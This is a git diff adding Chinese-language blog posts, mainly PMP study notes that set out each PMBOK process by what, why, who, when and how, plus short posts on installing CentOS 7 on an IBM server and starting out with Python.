+风险管理特别无形，他是一种无形管理，这个无形体现在风险管理的时候，需要花一些精力，需要进行未雨绸缪，这样可能有些人会认为，你这么做没有必要，没事儿多想那么多干嘛呀。要花那些代价，去干这样一些做什么呢？在真正的做好了这些规划筹谋过后，在执行过程当中，你会发现，可能有些风险并没有发生，有些人会觉得更有理由了，本来也没这个事儿，我们做这样的规划干什么呢？就会有这样的误解。所以说，风险管理是一种无形的管理，不要小看这种无形的管理，那么这种管理，管理的好，才会让这个项目不会发生那些无关的或者比较重大的事故，我们之前就考虑好了，有哪些可能会发生，考虑好了那个应对的办法，当他一旦发生，你不会手忙脚乱，非常有秩序的、有步骤的、有思路的去应对这样的一些不确定的事件，让我们项目的目标成功的可能性大大提高，所以这个风险管理是非常重要的，所以有些高层人就会觉得，他这个意识弱一点儿的话，他可能比较喜欢，在企业当中，有些项目经理一天到晚忙到晚，到处去救火，一天不闲的来回跑，他可能会觉得，你看这个工作多好啊，另外有一类项目经理，每天坐在那儿，好像每天也没有什么事儿干，老板和高层会觉得，好像你也不动起来，去做某些事儿，实际上那个天天坐着的项目经理，是把很多事情，之前就想到了，怎么去应对，都有办法，这个事儿发生，按部就班去做就行了，人家是很有规矩的，不会乱跑，乱忙，不会去救火，当然了，不理智的项目经理或不明智的项目经理，不会肯定他们的工作，会认为他们可能是不是没有充分调动起来，没有把所有的精力放在忙碌上，会有这样的想法，所以我们说风险管理是一种非常无形的管理，管好了之后，不容易确定是因为这个管理的好带来的结果，管控不好，人家还会说，你之前花了那么多代价，还会有这样的事情，会有这样的埋怨，所以，我们把他叫无形的管理，风险管理最需要遵循经验，越有经验，越可以克服那个不确定的事儿，那么风险管理还要善于未雨绸缪，之前就想好，不要做到哪儿，想到哪儿，想到哪儿，做到哪儿，这样自己去这么走，这样会产生很多问题，你如果考虑的比较远的话，就没有后顾之忧，那么这样的三字言就是告诉我们整个风险管理的基本的理念和基本的思想。 + +# Cp12 --- 采购管理知识体（自己做不划算的） + +采购管理知识体其实需要我们懂一些法律和法规，因为招投标这个步骤和流程，他是法律当中的内容，比如合同法，这也是法律当中的内容，当然了不是为了学习这个知识体，还要学习大量的法律书籍，我们没有这个时间，我们应该了解一些最基本的在招投标当中，在合同管理当中那些基本的一些法律，那么这些基本的法律条款，在我们PMBOK的都有一些相应的讲解，这些资料为蓝本去了解相关的法律条款和法律内容，就可以针对这个考试了，深入学习，还需要稍后进行，遵守契约也是在采购管理这一章应该树立的一个理念，合同就是一种契约，他不可以随便修改，合同变更控制系统他也不能够在什么人的批准之下，把它改掉，不行，应该合同是法律文档，要遵守的，要有契约精神。在采购过程当中，要学会货比三家，选择卖方，所谓货比三家选卖方，就是招投标的办法，这是全世界最同行的一个比较公平、公正的投标的这样的办法，或者叫做采购的办法，我们要熟悉这样的一个办法。 + + +# Cp13 --- 干系人管理知识体（项目外部人员管理） + +干系人管理应该要求我们善于干系人之间关系的处理，应该尽量准确的去识别干系人，特别是那些潜在的干系人，应该清楚各种各样的干系人，对项目的影响和我们项目对他的影响，应该善于平衡各种干系人之间不同的、甚至是相互冲突的一些利益关系。另外要广泛的维系、维持跟各个干系人之间的关系。 diff --git a/_posts/2017-05-21-249-pmp-4w1h.md b/_posts/2017-05-21-249-pmp-4w1h.md new file mode 100644 index 0000000..56ff849 --- /dev/null +++ b/_posts/2017-05-21-249-pmp-4w1h.md @@ -0,0 +1,1859 @@ +--- +layout: post +title: 4W1H PMP +pid: 248 +tags: [pmp] +--- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 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+ + + + + + + + +
4.1 制定项目章程
what
+ 做什么		得到一个项目章程的文档。
why
+ 为什么做		因为章程中有高层的要求，项目的目的、目标。有高层对项目经理的授权，有正式批准，有这个章程，这个项目才算正式成立。没有章程，就没有项目，就不能做。
who
+ 谁来做		项目章程执笔写出来，有可能是项目经理；但这个时候项目经理的角色是受高层委派编写的。制定项目章程的主要角色是发起人（具有高层管理职能的人）。
when
+ 什么时候做		在项目最一开始就要写这个项目章程，没有这个章程，项目就不能进行下去。在项目的每一个阶段初，都要重复制定项目章程，当然不是重新写，是拿项目章程核对一下整体的目标跟接下来要做的工作是不是吻合；验证一下这个项目章程的目标还有没有效果，有没有偏颇，需不需要纠正？
+
how
+ 如何做		写项目章程，需要专家来出主意；写项目章程也需要分析技术，引导技术，让大家的观点尽量达成一致，所有用这样的方法和技术，就能够制定出项目章程。
4.2 制定项目管理计划
what
+ 做什么		制定一份包括13个子计划，3个基准的项目管理计划
+ 作用：生成一份核心文档，作为所有项目工作的依据
why
+ 为什么做		制定一个衡量项目的标尺，指导团队如何开展项目管理工作，每份子计划都说明了如何进行该知识领域的项目管理工作
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）编写，除了项目进度表由项目经理即管理团队批准外，其他子计划均需公司高管批准
when
+ 什么时候做		项目早期，项目章程批准后，开始制定项目管理计划
how
+ 如何做		采用沟通方法，有效整合，将各子计划整合成项目管理计划，采用专家判断、引导技术
4.3 指导和管理项目执行
what
+ 做什么		1. 产出产品、服务或成果 2. 产出一份工作绩效信息记录 3.随着执行的进行，及时提出变更请求并说明采取什么措施
+ 作用：对项目工作提供全面管理
why
+ 为什么做		为实现项目目的
who
+ 谁来做		项目团队
when
+ 什么时候做		计划制定后，按照计划执行
how
+ 如何做		使用项目管理信息系统，辅以专家判断和会议
4.4 监控项目工作
what
+ 做什么		实时监督检查项目，掌控项目
+ 作用：让干系人了解项目的当前状态，已采取的步骤，对预算、进度和范围的预测
why
+ 为什么做		防止项目行为偏离计划，通过监控掌握项目情况，及时了解项目状态和偏差情况
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		贯穿项目生命周期始终
how
+ 如何做		检查等各项专有监控技术，专家判断，分析技术，项目管理信息系统，会议
4.5 实施整体变更控制
what
+ 做什么		按规划的变更机制和变更控制流程进行变更
+ 作用：从整合的角度考虑记录在案的项目变更，降低因未考虑变更对整个项目目标或计划的影响而产生的项目风险
why
+ 为什么做		对范围/进度/成本不符合计划的情况即程序/政策进行变更调整
who
+ 谁来做		项目管理团队进行，不设计基准的、有储备的变更，项目团队批准；设计基准的无储备的变更，由CCB批准
when
+ 什么时候做		贯穿始终的监控时做，执行时做
how
+ 如何做		遵循整体变更控制流程、步骤，会议，专家判断
4.6 结束项目或阶段
what
+ 做什么		1. 移交产品 2.行政工作/行政收尾/管理收尾/合同收尾，核实产品，总结经验教训并归档
+ 作用：总结经验教训，正式结束项目工作，为开展新工作而释放组织资源
why
+ 为什么做		移交产品、积累经验，留下知识财富
who
+ 谁来做		管理项目团队/项目团队（如果项目规模比较小的话）
+ 合同收尾是项目经理和合同管理人员的共同责任
when
+ 什么时候做		项目或阶段末进行
+ 合同收尾在管理收尾之前
how
+ 如何做		专家判断，分析技术，会议
5.1 规划范围管理
what
+ 做什么		创建范围管理计划，书面将如何定义、确认和控制范围。
+ 作用：在整个项目中对如何管理范围提供指南
why
+ 为什么做		指导范围管理知识领域其他过程如何开展
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话），组织过程资产往往是可以裁剪来使用
when
+ 什么时候做		制定项目章程后，范围管理其他过程之前
how
+ 如何做		召开会议和专家判断
5.2 收集需求
what
+ 做什么		定义记录干系人的需求
+ 作用：为定义和管理项目范围（包括产品范围）奠定基础
why
+ 为什么做		收集需求旨在定义和管理客户期望，掌握项目需求和产品需求对促进项目成功有重要作用
+ 需求是WBS的基础
who
+ 谁来做		项目管理团队/项目团队（如果规模比较小的话）
when
+ 什么时候做		项目章程制定后，干系人初步识别后，规划范围管理后
how
+ 如何做		采用访谈/焦点小组会议/引导式研讨会/群体创新技术/群体决策技术/问卷调查/观察/原型法/系统交互图/文件分析来收集需求
5.3 定义范围
what
+ 做什么		制定一份范围说明书，详细描述项目和产品，具体定义、描述项目范围
+ 作用：明确收集的需求，哪些包括在项目范围内，哪些将排除在项目范围外，明确项目、服务或成果的边界
why
+ 为什么做		编制详细的项目范围说明书，对项目成功至关重要
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）制定，应该获得发起人/客户和关键干系人的批准
when
+ 什么时候做		收集需求之后
how
+ 如何做		采用产品分析、备选方案识别和引导式研讨会，采用专家判断
5.4 创建WBS
what
+ 做什么		制定一份WBS，把项目可交付成果和项目工作分解为较小的，更易于管理的组成部分
+ 作用：对所要交付的内容提供一个结构化视图
why
+ 为什么做		WBS代表着项目范围说明书所规定的工作，可以针对WBS的工作包安排进度、估算成本和实施监控
who
+ 谁来做		项目管理团队/项目团队（如果项目规模较小的话）
when
+ 什么时候做		制定项目范围说明书后
how
+ 如何做		用分解和专家判断的方法
5.5 确认范围
what
+ 做什么		正式验收已完成的可交付成果，与客户或发起人一起审查可交付成果，确保可交付成果已经圆满完成
+ 作用：使验收过程具有客观性，通过每个可交付成果验收，提高最终产品、服务或成果获得验收的可能性
why
+ 为什么做		获得客户或发起人的正式验收
who
+ 谁来做		项目经理与客户或发起人一起
when
+ 什么时候做		已经产出可交付成果，并且可交付成果已经通过实施质量控制过程进行了检验，得到了组织中质检部门的确认之后。实施质量控制和核实范围也可同时进行
how
+ 如何做		检查/群体决策技术
5.6 控制范围
what
+ 做什么		监督项目和产品范围，管理范围基准变更
+ 作用：在整个项目期间保持对范围基准的维护
why
+ 为什么做		防止范围失控，变更实际发生时，管理变更，变更不可避免，必须强制实施变更控制，防止范围蔓延，杜绝范围镀金
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		项目或阶段末，项目结束前执行
how
+ 如何做		采用挣值计算，进行偏差分析
6.1 规划进度管理
what
+ 做什么		制定进度管理计划，为规划、编制、管理、执行和控制项目进度制定政策。
+ 作用：为如何在整个项目过程中管理项目进度提供指南和方向
why
+ 为什么做		指导进度管理知识领域的其他过程如何开展
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话），可裁剪组织过程资产
when
+ 什么时候做		项目章程制定后，项目进度管理知识领域之前
how
+ 如何做		专家判断，分析技术，会议
6.2 定义活动
what
+ 做什么		把WBS工作包分解为活动——为完成可交付成果需要采取的行动
+ 作用：将工作包分解为活动，作为对项目工作进行评估、进度规划、执行、监督和控制的基础
why
+ 为什么做		对活动才能更详细更准确的分配资源和时间、成本
who
+ 谁来做		项目管理团队/项目团队（如果项目规模较小的话）
when
+ 什么时候做		范围基准确定后
how
+ 如何做		采用分解的方法，还需要滚动式规划方法和专家判断
6.3 排列活动顺序
what
+ 做什么		把活动按照逻辑关系排列顺序
+ 作用：定义活动之间的逻辑顺序，以便在既定的所有项目制约因素下获得最高效率
why
+ 为什么做		为了制定合理的、符合实际情况的进度计划
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		定义活动之后
how
+ 如何做		利用画网络图的方法，单代号网络图和双代号网络图，确定依赖关系，注意利用时间的提前量和滞后量
6.4 估算活动资源
what
+ 做什么		估算各项活动所需的资源——材料、人员、设备等。活动资源需求的支持细节在活动资源需求文件中
+ 作用：明确完成活动所需的资源种类、数量和特性，以便做出更准确的成本和持续时间估算
why
+ 为什么做		资源不同影响项目的进度也会不同，估算活动资源为了制定合理、符合实际情况的进度计划
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		定义活动之后，排列活动顺序之后
how
+ 如何做		采用备选方案分析估算资源，利用发布的估算数据，自下而上估算资源，可利用项目管理软件估算资源，辅以专家判断
6.5 估算活动历时
what
+ 做什么		根据资源估算结果，估算完成单项活动所需时间
+ 作用：确定完成每个活动所需花费的时间量，为制定进度计划过程提供主要输入
why
+ 为什么做		为了制定进度基准，为项目提供衡量进度绩效标尺
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		活动资源需求记录后
how
+ 如何做		可采用类比估算、三点估算、参数估算、辅以专家判断，考虑储备，开展储备分析，加入应急储备，利用群体决策技术
6.6 制定进度计划
what
+ 做什么		制定进度绩效基准——进度计划，批准的进度计划叫进度基准，注意进度计划不是计划，而是文件
+ 进度计划的支持细节是进度数据
+ 作用：把进度活动、持续时间、资源、资源可用性和逻辑关系进度规划工具，形成包含各个项目活动的计划日期和进度模型
why
+ 为什么做		为项目制定衡量项目进度标尺
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
+ 项目管理团队认可和批准
when
+ 什么时候做		定义范围/定义活动/排列活动顺序/估算活动资源/估算活动持续时间之后
how
+ 如何做		采用进度网络分析/关键路径法/关键链法/资源优化技术/建模技术/进度压缩/进度计划编制工具，利用时间的提前量和滞后量
6.7 控制进度
what
+ 做什么		监督项目进展情况，管理进度基准变更，更新项目进展
+ 作用：提供发现计划偏离的方法，可以及时采取纠正和预防措施，降低项目风险
why
+ 为什么做		为实现项目目标
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		按照计划/基准实时监控，贯穿项目始终
how
+ 如何做		采用绩效审查/建模技术/资源优化技术/进度压缩，利用项目管理软件和进度计划编制工具，调整时间提前量与滞后量
7.1 规划成本管理
what
+ 做什么		制定成本管理计划
+ 作用：在整个项目中为如何管理项目成本提供指南和方向
why
+ 为什么做		指导成本管理知识领域其他过程如何开展
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话），可以裁剪组织过程资产
when
+ 什么时候做		项目章程制定后，进度管理知识领域之前
how
+ 如何做		专家判断，分析技术，会议
7.2 估算成本
what
+ 做什么		对项目成本进行近似值估算，估算包括对储备的考虑，考虑应急储备
+ 估算成本的支持细节是估算依据
why
+ 为什么做		对完成活动所需资源的可能成本进行量化评估
+
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		制定范围基准之后，制定进度基准之后，制定人力资源计划之后，制定风险应对计划之后
how
+ 如何做		采用类比估算、参数估算、自下而上估算、三点估算、质量成本、卖方投标分析、储备分析，并采用项目管理软件，由专家参与进行专家判断
7.3 制定预算
what
+ 做什么		制定项目成本绩效基准，制定项目资金需求，考虑储备，应急储备包括在项目成本绩效基准中，管理储备包含在项目资金需求中，项目资金需求=项目成本绩效基准+管理储备
why
+ 为什么做		制定一个衡量项目成本绩效的标尺，根据预算来考核项目成本绩效
+ 作用：确定成本基准，据此监督和控制项目绩效
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）制定，发起人/管理层/上级批准
when
+ 什么时候做		项目早期，范围基准制定之后，项目进度计划制定之后，估算成本之后，资源可用时间确定之后
how
+ 如何做		把估算的成本汇总，考虑资金的限制平衡，考虑参数和类比以往项目，辅以专家判断，还要进行储备分析，考虑应急储备和管理储备
7.4 控制成本
what
+ 做什么		监督项目成本状况，管理成本基准变更，更新预算
+ 作用：发现实际与计划的差异，采取纠正措施，降低风险
why
+ 为什么做		为实现项目目的
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		按照计划/基准实时监控，贯穿项目始终
how
+ 如何做		采用挣值管理技术，只监控项目资金支出，不考虑支出所完成的工作价值对项目是否有意义，应重点分析项目资金支出与相应完成的工作之间的关系，对经批准的成本绩效基准及其变更进行管理
8.1 规划质量管理
what
+ 做什么		编写一份质量管理计划和一份过程改进计划，明确项目的质量标准，确定质量测量指标和质量核对表
+ 作用：为整个项目如何管理和确认质量提供指南和方向
why
+ 为什么做		1. 识别项目/产品的质量要求和标准；2.如何达到标准；3. 为项目质量检验、项目/产品质量验收制定标准
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
+ + 组织过程资产中有高级管理层颁布的质量政策/方针等可以原样照搬到项目中使用，如果执行组织没有正式的质量政策或项目涉及多个执行组织，项目管理团队就需要为项目制定质量政策
when
+ 什么时候做		范围、进度、成本基准确定后，干系人和风险识别后
how
+ 如何做		采用成本绩效分析，质量成本，标杆对照，统计抽样，其中基本质量工具，实验设计，专有的质量管理方法即其他质量规划工具（头脑风暴/亲和图/立场分析/名义小组技术）
8.2 实施质量保证
what
+ 做什么		构建一个改进体系，保证过程符合要求并持续开展质量改进
+ 构体系、建流程
+ 作用：促进质量过程改进
why
+ 为什么做		实现质量预防理念，构建一个框架体系，用过程/流程保证质量
who
+ 谁来做		组织中的质量保证部门或类似部门对质量保证活动进行监督
when
+ 什么时候做		规划制定后，执行全过程，持续开展保证活动
how
+ 如何做		采用质量管理和控制工具、质量审计（识别、分享、协作、积累、确认）
8.3 实施质量控制
what
+ 做什么		构建一个评估系统，评价项目质量，对项目质量状况下结论，还审查已批准的变更请求是否得到执行
+ + 做评估，下结论。作用：1）识别过程低效或产品质量低劣的原因，建议并/或采取相应措施消除这些原因，2）确认项目的可交付成果及工作满足主要干系人的既定要求，可以进行最终验收
why
+ 为什么做		保证有缺陷的产品、服务或成果不能交付
who
+ 谁来做		组织中的质量控制部门或名称相似的组织单元
when
+ 什么时候做		执行之后，对项目产品、服务或成果进行的检查评估
how
+ 如何做		七种基本质量工具、统计抽样、检查和审查已经批准的变更请求
9.1 规划人力资源管理
what
+ 做什么		编写一份人力资源计划，其中包括人员配备管理计划
+ 作用：建立项目角色与职责、项目组织图，包括人员招募和遣散时间表和人员配备管理计划
why
+ 为什么做		识别/记录项目角色/职责/所需技能/报告关系，人员配备情况
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		项目早期，活动资源需求确定后
how
+ 如何做		采用组织结构图与职位描述，利用人际关系技能和组织理论，召开会议
9.2 组建项目团队
what
+ 做什么		组建项目所需团队
+ 作用：指导团队选择和职责分配
why
+ 为什么做		为开展项目工作配备资源，组成团队
who
+ 谁来做		配备人员是职能经理的职责，项目经理有权要求特定的资源，可以提出资源要求，最终使用什么资源取决于职能经理
when
+ 什么时候做		项目早期，从项目经理确定开始，项目团队就在逐渐组建
how
+ 如何做		采用预分派，谈判，招募和虚拟团队、多标准决策分析技术来组建项目团队
9.3 建设项目团队
what
+ 做什么		营造一个良好氛围的项目团队环境，促进团队沟通，提高工作能力，提高项目绩效
+ 作用：改进团队协作，增强人际技能，激励团队成员，降低人员离职率，提升整体项目绩效
why
+ 为什么做		提高项目绩效
who
+ 谁来做		项目管理团队
when
+ 什么时候做		伴随项目团队组建，建设项目团队工作开始，并伴随项目生命周期，塔克曼团队建设阶段：形成、震荡、规范、成熟、解散
how
+ 如何做		采用人际关系技能，培训，团队建设活动，基本规则，集中办公，认可与奖励，人事测评工具
9.4 管理项目团队
what
+ 做什么		跟踪团队成员表现，提供反馈，解决冲突，管理人员变更，优化项目绩效
+ 作用：影响团队行为，管理冲突，解决为题，评估团队成员的绩效
why
+ 为什么做		管理团队冲突，解决各种问题，关注团队成员个人技能，保证项目绩效，从而保证项目目标的实现
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		贯穿项目生命周期始终
how
+ 如何做		采用观察与交谈，项目绩效评估，冲突管理，问题日志和人际关系技能
10.1 规划沟通管理
what
+ 做什么		制定一份沟通管理计划，定义沟通方法，明确针对不同的干系人使用何种沟通方法和沟通方式/媒介，对于干系人发布何种信息等。
+ 作用：识别和记录与干系人的最有效率且最有效果的沟通方式
why
+ 为什么做		良好的沟通是项目成功的必要条件，项目经理必须做好沟通，项目经理90%的时间用来沟通，目的是整合项目工作，达成项目目标
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		项目早期，项目章程批准后，开始制定项目沟通管理计划
how
+ 如何做		采用沟通需求分析，沟通技术，沟通方法，沟通模型和会议
10.2 管理沟通
what
+ 做什么		按照计划生成、收集、分发、储存、检索、最终处置项目信息。
+ 作用：促进项目干系人之间实现有效率且有效果的沟通
why
+ 为什么做		实现有效率、有效果沟通
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		计划制定后，按照计划执行
how
+ 如何做		使用沟通技术、沟通模型、沟通方法、信息管理系统和报告绩效工具
10.3 控制沟通
what
+ 做什么		在整个项目生命周期中对沟通进行监督和控制，满足干系人对信息的需求。
+ 作用：随时确保所有沟通参与者之间的信息流动的最优化
why
+ 为什么做		重视对干系人期望的管理，确保项目成功
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		贯穿项目生命周期始终
how
+ 如何做		信息管理系统、专家判断和会议
11.1 规划风险管理
what
+ 做什么		编写一份风险管理计划，定义如何实施项目风险管理活动
+ 作用：确保风险管理的程度、类型和可见度与风险及项目对组织的重要性相匹配
why
+ 为什么做		项目管理的本质与核心就是风险管理，有效的开展风险管理活动，可以确保项目目标实现
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		项目早期，项目章程批准之后，开始执行项目管理计划，风险管理计划是项目管理计划的子计划
how
+ 如何做		采用规划会议和分析工具进行
11.2 识别风险
what
+ 做什么		识别、记录可能发生的风险，列出风险清单，清单上记录哪些风险会影响项目，有哪些特征
+ 作用：对已有风险进行文档化，为项目团队预测未来时间积累知识和技能
why
+ 为什么做		为了针对可能发生的风险制定应对措施，制定应急预案，防止风险发生，保证项目目标实现
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		项目早期，项目章程批准后，制定项目风险管理计划之后，并在项目进行过程中，随时识别风险
how
+ 如何做		通过审查文档，信息收集技术，核对表分析，图解技术，假设分析，SWOT分析和专家判断来识别风险
11.3 实施风险定性分析
what
+ 做什么		将已识别的风险进行分类、分级、排序，定性的确定风险优先级
+ 作用：使项目经理能够降低项目的不确定性级别，重点关注高优先级风险
why
+ 为什么做		明确重点要关注的风险，为后续分析或行动提供基础
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		识别风险之后做
how
+ 如何做		使用风险的概率和影响评估，概率影响矩阵，风险数据质量评估，风险分类，风险紧迫性评估和专家判断来定性分析风险
11.4 实施风险定量分析
what
+ 做什么		定量分析已识别的风险对项目整体目标的影响，量化风险，确定量化的风险优先级，重点对定性分析中排在高优先级的风险。
+ 作用：产生量化风险信息，支持决策制定，降低项目的不确定性
why
+ 为什么做		了解风险对项目整体目标的影响，了解风险影响的量值，以便决定采取什么措施应对
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		定性风险分析之后，有时不需要进行定量风险分析
how
+ 如何做		使用数据收集和表现技术，定量风险分析和建模技术以及专家判断来定量分析风险
11.5 规划风险应对
what
+ 做什么		根据分析结果，找到应对风险策略，制定应对方案和措施
+ 作用：根据风险的优先级来制定应对措施，把风险应对所需的资源和活动加进项目预算、进度计划和项目管理计划中
why
+ 为什么做		一旦风险发生，马上采取措施，最大限度的减少风险对项目的消极影响，保证项目成功
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		风险定性、定量分析之后，规划是制定应对措施
how
+ 如何做		采用消极的（积极地）风险/威胁/机会的应对措施，应急应对措施和专家判断
11.6 控制风险
what
+ 做什么		在整个项目中实施风险应对计划、跟踪已识别的风险、监测残余风险、识别新风险、评估风险过程的有效性，删去不复存在的风险，释放相应的储备。
+ 作用：在整个项目生命周期中提高应对风险的效率，不断优化风险应对
why
+ 为什么做		实施实时监控，关注风险，确保项目成功
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		贯穿项目生命周期始终
how
+ 如何做		采用风险再评估，风险审计（审查风险管理过程的有效性、审查风险应对措施的有效性），偏差和趋势分析，技术绩效测量，储备分析和状态审查会
12.1 规划采购管理
what
+ 做什么		编写一份采购管理计划，明确买不买，买什么，怎么买
+ 作用：确定是否需要外部支持
why
+ 为什么做		为如何采购指定规矩，制定原则，明确采购方法，识别潜在卖方
who
+ 谁来做		项目经理带领项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		规划时做
how
+ 如何做		使用自制或外购分析，合同类型和专家判断来制定采购管理计划
12.2 实施采购
what
+ 做什么		选择卖方并授予卖方合同
+ 作用：通过达成协议，使用内部和外部干系人的期望协调一致
why
+ 为什么做		实际进行采购
who
+ 谁来做		组织中的职能部门或项目经理
when
+ 什么时候做		执行时做
how
+ 如何做		采用投标人会议，建议书评价技术，独立估算，广告，因特网搜索，采购谈判和专家判断来采购
12.3 控制采购
what
+ 做什么		管理采购关系，监督合同绩效，支付合同款，采取必要变更和纠正措施
+ 作用：确保买卖双方履行法律协议，满足采购需求
why
+ 为什么做		为保证采购活动顺利进行，采购物品符合项目要求
who
+ 谁来做		组织中的职能部门或项目经理
when
+ 什么时候做		执行采购时做
how
+ 如何做		采用合同变更控制系统，采购绩效审查，检查与审计，绩效报告，支付系统，索赔管理和记录管理系统来管理采购
12.4 结束采购
what
+ 做什么		完成单次项目采购，做好合同收尾
+ 作用：把合同和相关文件归档以备将来参考
why
+ 为什么做		结束单次采购
who
+ 谁来做		组织中的职能部门或项目经理
+ 合同收尾是项目经理和负责采购的部门共同的职责
when
+ 什么时候做		采购结束时
how
+ 如何做		采用采购审计（审计采购过程，供本项目其他采购合同或组织内其他项目借鉴成功经验和失败教训）
13.1 识别干系人
what
+ 做什么		识别干系人，记录其利益、影响及程度，制作一份干系人登记册和管理策略
why
+ 为什么做		干系人对项目的影响要重点关注，任何对干系人的忽略都有可能导致项目失败
who
+ 谁来做		项目管理团队
when
+ 什么时候做		在项目进行过程中持续进行、在项目早期必须进行，项目章程制定后要识别干系人
how
+ 如何做		采用干系人分析方法，可利用干系人权利/利益方格或矩阵对干系人进行分析，干系人管理策略也可以标注在干系人分析矩阵图上，召开会议
13.2 规划干系人管理
what
+ 做什么		制定一份干系人管理计划。
+ 作用：为与项目干系人的互动提供可操作的、清晰的计划，支持项目利益
why
+ 为什么做		为管理项目干系人提供指南
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		项目早期，尽早规划项目干系人管理，降低项目风险
how
+ 如何做		专家判断，分析技术，会议
13.3 管理干系人参与
what
+ 做什么		在整个项目周期中，与干系人沟通和协作，满足其需要和期望，解决实际出现的问题。
+ 作用：帮助项目经理提升来自干系人支持，把干系人的抵制降到最低，显著提高项目成功的机会
why
+ 为什么做		获得干系人对项目的支持，把干系人的抵制降到最低，显著提高项目成功的机会
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		计划制定后，按照计划执行
how
+ 如何做		使用沟通方法，人际关系技能（建立信任，解决冲突，积极倾听，引导变革）和管理技能（演示技能，谈判技能，写作技能，公开演讲技能等）
13.4 控制干系人参与
what
+ 做什么		全面监督项目干系人之间的关系，调整策略和计划，调动干系人参与过程
+ 作用：随着项目进展和环境变化，为提升干系人参与活动的效果和效率
why
+ 为什么做		维持并提升干系人参与活动的效率和效果
who
+ 谁来做		项目管理团队/项目团队（如果项目规模比较小的话）
when
+ 什么时候做		贯穿项目生命周期始终
how
+ 如何做		信息管理系统，专家判断，会议
diff --git a/_posts/2017-06-02-249-x3850-centos.md b/_posts/2017-06-02-249-x3850-centos.md new file mode 100644 index 0000000..ee6ffbd --- /dev/null +++ b/_posts/2017-06-02-249-x3850-centos.md @@ -0,0 +1,22 @@ +--- +layout: post +title: IBM X3850 X5 安装 CentOS 7 +pid: 249 +tags: [x3850, centos] +--- + +在安装过程中，我们需要解决2个问题： + +1. 把多个硬盘规划好。 +2. 安装Centos7 + + +下面这一点需要特别注意： + +sda 是我的硬盘对应的文件名（我机子只有一块硬盘），所以sdb就是U盘对应的文件名了，可以看到是sdb4。至此我们重启一下，回到第一个图片所示的界面处，然后按下Tab键，将vmlinuz initrd=initrd.imginst.stage2=hd:LABEL=CentOS\x207\x20x86_64 rd.live.check quiet 改为：vmlinuz initrd=initrd.img inst.stage2=hd:/dev/sdb4 quite + + + +# 参考 +1. [IBM X3650M4服务器安装centos系统](http://www.gzhuize.com/newsinfo/2014/2014108102718.htm) +2. [U盘安装centos 7 提示 “Warning: /dev/root does not exist, could not boot” 解决办法](http://blog.csdn.net/hexuan1/article/details/46808991) diff --git a/_posts/2017-07-13-251-python-learn.md b/_posts/2017-07-13-251-python-learn.md new file mode 100644 index 0000000..6d6452f --- /dev/null +++ b/_posts/2017-07-13-251-python-learn.md @@ -0,0 +1,89 @@ +--- +layout: post +title: Python 学习 +pid: 251 +tags: [python] +--- + +# Background + +1. Windows 7 专业版 +2. 64位操作系统 +3. 内存8GB + +# Install + +1. install python-3.6.1-amd64.exe +2. install dev tools pycharm-community-2017.1.4.exe +3. install module request + + C:\Users\baoguo>py -m pip 